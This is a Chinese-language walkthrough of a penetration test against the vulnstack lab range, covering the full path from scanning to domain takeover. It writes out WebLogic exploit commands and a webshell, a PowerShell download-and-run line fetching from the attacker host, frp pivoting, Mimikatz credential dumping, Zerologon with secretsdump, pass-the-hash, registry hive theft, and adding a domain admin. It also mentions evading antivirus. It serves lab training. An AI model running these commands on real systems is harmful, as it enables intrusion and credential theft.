在我之前的文章vulnstack(一)打靶,我主要依赖Cobalt Strike进行后期渗透测试,这次我计划使用Metasploit框架(MSF)来进行这个阶段的工作。这个靶场与之前的不同之处在于它的WEB服务器安装了360安全卫士。虽然这增加了挑战的难度,但只要我们能够成功地进行免杀处理,就可以顺利进行渗透
Oracle WebLogic是一个基于Java EE的应用服务器,是Oracle的云应用基础架构的关键组成部分。它支持创建、部署和运行分布式多层Java EE应用程序。
尽管WebLogic是一个强大而受欢迎的应用服务器,但它也有一些重要的安全漏洞
CVE-2020-1472是一个严重的Windows安全漏洞,被微软命名为"Zerologon"。它存在于Windows服务器的Netlogon远程协议中,该协议被用于各种任务,包括用户和机器身份验证。这个漏洞由Dutch security firm Secura的研究人员发现。
Zerologon漏洞使攻击者能够在网络上的任何位置完全接管域控制器,并在没有用户交互的情况下执行此操作。一旦控制了域控制器,攻击者就可以执行各种恶意活动,例如添加新的域管理员账户,重置现有账户密码,执行代码等
此靶场用户的统一密码均为:1qaz@WSX
。NAT网卡为外网IP,其网段为192.168.47.0/24
;VMnet3为内网IP,其网段为10.10.10.0/24
虚拟机系统 | 网卡 | IP | 登录用户 |
---|---|---|---|
kali(攻击机) | NAT | 192.168.47.155 | |
WEB(域内主机) | NAT VMnet3 |
192.168.47.129 10.10.10.80 |
mssql |
DC(域控主机) | VMnet3 | 10.10.10.10 | de1ay |
PC(域内主机) | NAT VMnet3 |
192.168.47.160 10.10.10.201 |
mssql |
首先将WEB主机的快照至恢复至v1.3
输入.\de1ay
表示登录本地的de1ay用户而非域用户
随后要求你重置密码,点击确定
此处我将密码重置为qQ123456
,要注意的是,de1ay用户是本地管理员
注销本地的de1ay用户,随后切换至de1ay域的mssql用户,这样做的是目的是提升难度,而不会一拿到的shell就是管理员权限
以管理员权限运行:C:\Oracle\Middleware\user_projects\domains\base_domain\bin\strartWebLogic.cmd
打开物理机访问192.168.47.129:7001
,测试WEB机的Weblogic服务是否运行成功,若出现以下界面则表示运行成功
同理, PC机也更改一下本地的de1ay用户的密码
登录PC机后出现弹框,提示360运行需要管理员用户的权限
使用nmap扫描存活主机:nmap -sn 192.168.47.0/24
,发现两台主机,分别是192.168.47.129
和192.168.47.160
扫描第一个主机的开放端口:nmap -p- 192.168.47.129
,http服务的80端口,mssql的1433端口,远程登录服务的3389端口,以及weblogic的7001端口,猜测这台机器很可能是web服务器
扫描另外一个主机:nmap -p- 192.168.47.160
,这台机器应该是员工区的PC机
扫描指定端口的常见漏洞:nmap --script=vuln -p 80,135,139,445,1688,3389,7001 192.168.47.129
,发现永恒之蓝ms17-010漏洞
nmap --script=vuln -p 135,139,445,3389 192.168.47.160
, pc机也发现了永恒之蓝漏洞
对web主机进行目录爆破,先爆80端口: python3 dirsearch.py -u http://192.168.47.129 -e* -x 403,404
,没有可用信息
继续爆weblogic服务的7001端口:python3 dirsearch.py -u http://192.168.47.129:7001 -e* -x 403,404
访问控制台登录页面:/console/login/LoginForm.jsp
,爆出敏感信息:weblogic的版本号为10.3.3.0
使用weblogic漏扫工具扫描:python3 WeblogicScan.py -u 192.168.47.129 -p 7001
,爆出CVE-2017-3506
以及CVE-2019-2725
,均为远程代码执行漏洞
尝试使用MSF的ms17010远程命令执行EXP,但是失败了,估计是被360拦截掉了
换另外一个EXP,尝试返回目标主机的meterpreter会话:use exploit/windows/smb/ms17_010_eternalblue
,但还是失败了,在web机可以看到是被360拦截了
msf搜索与weblogic相关的漏洞,根据之前漏扫爆出来的漏洞编号选择对应的年份(2017和2019),此处选择2019的
这里需修改EXP的设置, 由于目标主机是windows,需将target设为1,其他设置如下图所示,成功返回一个meterpreter会话,也能够正常获取uid, 但是很快就被360干掉了
使用cve-2017-3506的exp扫描漏洞是否存在:java -jar .\WebLogic-XMLDecoder.jar -u http://192.168.47.129:7001
使用cve-2017-3506的漏洞利用exp:java -jar .\WebLogic-XMLDecoder.jar -s http://192.168.47.129:7001 /wls-wsat/CoordinatorPortType11 shell.jsp
访问写进去的webshell(shell.jsp)执行任意命令,命令执行成功
尝试远程加载cs的powershell命令:http://192.168.47.129:7001/wls-wsat/shell.jsp?password=secfree&command=powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.47.155:80/a'))"
, 但是执行失败了,cs没有上线
尝试一键写入webshell,利用CVE-2020-2551
漏洞,漏洞利用成功 (此webshell默认密钥为key)
打开哥斯拉连接webshell
进入webshell,测试执行远程命令
上传msf生成的木马,立马被360查杀掉了, 因此需对其做免杀处理, 此处我用到的免杀技术为动态调用api函数加载shellcode
上传免杀后的木马并执行, msf成功接收到meterpreter
先将fscan.exe
上传至目标主机
进入cmd shell命令执行:ipconfig /all
,meterpreter执行命令sysinfo
来获取目标系统的基本信息,此处获取到的信息整理如下:
使用fscan.exe扫描内网存活ip以及进行漏洞扫描:fscan.exe -h 10.10.10.1/24
,发现内网的另一个IP是10.10.10.10,这个IP应该就是域控服务器的IP了,因为DNS服务器通常为域控服务器,而且这个域控服务器还存在永恒之蓝漏洞
开启路由转发:run autoroute -s 10.10.10.0/24
,目标是让msf能够访问内网的其他主机
此命令使用autoroute脚本来添加一个静态路由,换句话说,这个命令将你当前的 Meterpreter 会话作为一个路由器,可以让你访问到该子网内的其他主机
尝试使用永恒之蓝exp对域控进行攻击,成功返回域控的meterpreter
使用MSF查找可能的提权漏洞,使用post/multi/recon/local_exploit_suggester
模块,Metasploit会建议可能适用于该系统的本地提权漏洞,然后使用run命令执行此模块。
meterpreter > background
msf > use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set SESSION [your session id]
msf post(multi/recon/local_exploit_suggester) > run
漏洞扫描被意外终止,具体原因我也不清楚
由于Web主机的当前用户是普通用户,因此需对它进行提权操作,永恒之蓝漏洞可以达到提权的效果,尝试对Web主机的内网IP进行漏洞利用,失败告终
使用frp内网穿透可以解决上述永恒之蓝漏洞利用失败的情况,首先设置frp服务端的配置文件frps.ini
[common]
bind_port = 7000
[socks5]
type = tcp
auth_method = noauth #表示这个代理不需要验证。如果你需要验证,可以设置为 userpass 并提供 username 和 password
bind_addr = 0.0.0.0
listen_port = 1080
kali执行命令启用frp服务端: ./frps -c ./frps.ini
如下所示设置客户端的配置文件frpc.ini
,随后将frpc.exe
和frpc.ini
都上传至web机上
[common]
server_addr = 192.168.47.155
server_port = 7000
[socks5]
type = tcp
remote_port = 1080
plugin = socks5 #用SOCKS5代理插件
setg proxies socks5:192.168.47.155:1080
:setg命令用于设置全局选项,也就是说后续的所有网络操作都将通过这个socks5代理进行
setg ReverseAllowProxy true
:将允许Metasploit的反向连接(reverse connections)通过代理,反向连接通常用于在成功利用某个漏洞后与目标系统建立连接,用于发送命令和接收结果
payload必须设置为bind_tcp
, 设置rhost
为web主机的内网ip
exp运行后成功返回当前Web主机的meterpreter会话
getuid
查看当前用户权限为system
, 这就意味着可以使用mimikatz进行凭据提取了
加载mimikatz:load kiwi
获取凭据:creds_all
,这个命令将尝试提取存储在内存中的各种凭据
以下表格是上述获取到的凭据
域 | 账号和密码 |
---|---|
DE1AY | Administrator/1qaz@WSX |
DE1AY | mssql/1qaz@WS |
WEB | de1ay/qQ123456 |
CVE-2020-1472
打域控修改proxychains的配置文件:vim etc/proxychains4.conf
, 添加上socks5代理,其目的是让其他应用程序能够访问目标内网
使用zerologon_tester.py
来测试域控是否存在CVE-2020-1472
漏洞,结果显示漏洞存在
proxychains4 python3 zerologon_tester.py [域控主机名] [域控ip]
使用cve-2020-1472-exploit
将域控制器账户的密码设置为空
域控制器账户是一个特殊的系统账户,用于运行域控制器服务和进行与其他系统的通信。这个账户通常是不可见的,并且不能用来登录或执行常规的用户操作
而"Administrator"通常是域管理员账户的默认名称,它拥有可以管理整个域,包括所有用户、计算机和服务的权限
在许多情况下,域管理员账户(例如Administrator)有足够的权限来管理域控制器和其它网络资源。然而,正如CVE-2020-1472(Zerologon)漏洞所展示的,攻击者如果能够以某种方式获得域控制器账户的权限,他们可能会绕过正常的认证机制并直接控制域控制器
所以总的来说,域控制器账户并不等同于Administrator账户,虽然两者都具有高级权限
proxychains4 python3 cve-2020-1472-exploit.py [域控名称] [域控ip]
以下命令试图通过IP地址10.10.10.10
访问de1ay.com
域中的机器账户dc$
,并且在这个过程中不需要密码,成功之后,它将尝试从目标服务器抓取并输出密码哈希值和其他凭据信息。此处将域管理员账户Administrator的哈希值复制下来。
proxychains impacket-secretsdump de1ay.com/dc\[email protected] -no-pass
impacket-secretsdump
是Impacket库的一个工具,用于抓取Windows服务器的密码哈希值和其他凭据信息
-no-pass
:这是一个参数,表示我们在尝试访问目标服务器时不会提供密码。这个参数通常在已知存在某种漏洞(比如CVE-2020-1472)可以让我们在没有密码的情况下访问目标服务器时使用
以下命令利用impacket-wmiexec
工具以及提供的NTLM哈希值,在IP地址为10.10.10.10
的远程Windows服务器上以administrator
用户的身份执行命令
proxychains impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 [email protected]
impacket-wmiexec
:这是Impacket库中的一个工具,它可以在远程Windows服务器上执行命令
-hashes
:这个选项允许你提供NTLM哈希值来进行身份验证,而不是使用密码,在这个命令中,你提供了一个LM哈希值(aad3b435b51404eeaad3b435b51404ee
)和一个NTLM哈希值(161cff084477fe596a5db81874498a24
)
./[email protected]
:这表示你希望以administrator
用户的身份登录到IP地址为10.10.10.10
的远程服务器
reg save
命令将指定注册表键保存到指定文件,其目的是为了后续破解用户密码
reg save HKLM\SYSTEM system.save
:HKLM\SYSTEM
键包含了关于操作系统配置的信息reg save HKLM\SAM sam.save
:HKLM\SAM
键包含了关于用户和用户组的信息reg save HKLM\SECURITY security.save
:HKLM\SECURITY
键包含了关于系统安全设置的信息使用lget
命令从远程系统下载文件到本地系统,再使用del
命令将这些文件从远程系统中删除
lget
命令常用在一些远程管理和操作的环境中,例如交互式shell会话或者一些远程执行工具中,用于从远程系统下载文件到本地系统
尝试添加新用户,但是失败了,猜测可能是密码的设置强度问题
参考之前获取到的域控账户的密码1qaz@WSX
,此处我也将新用户的密码设置成和他一样的,添加成功了
net user Henry 1qaz@WSX /add /domain
添加用户至管理员组: net group "Domain Admins" Henry /add /domain
查询管理员组是否有刚添加的用户: net group "Domain Admins"
查看本地目录,可以看到远程获取到的三个注册表文件
这条命令是使用 Impacket 库中的 secretsdump.py
工具来从本地 Windows 注册表文件中提取凭据,将哈希值复制下来用于后续恢复域控制器账户的密码
impacket-secretsdump -sam sam.save -system system.save -security security.save local
使用reinstall_original_pw.py
,用于恢复域控制器账户的密码
proxychains python3 reinstall_original_pw.py dc 10.10.10.10
再次尝试抓取域控制器账户的密码,若提示登录失败,则表示域控账户恢复成功
由于web主机开启了3389端口,使用rdesktop
远程登录,账户密码就用mimikatz抓取到的WEB\de1ay 1qaz@WSX
在运行对话框中输入mstsc
呼出远程桌面连接
关闭域控机器的防火墙
查看域内主机都有哪些
通过ping主机名获取PC主机的内网IP
尝试使用管理员账户远程登录PC机, 登录成功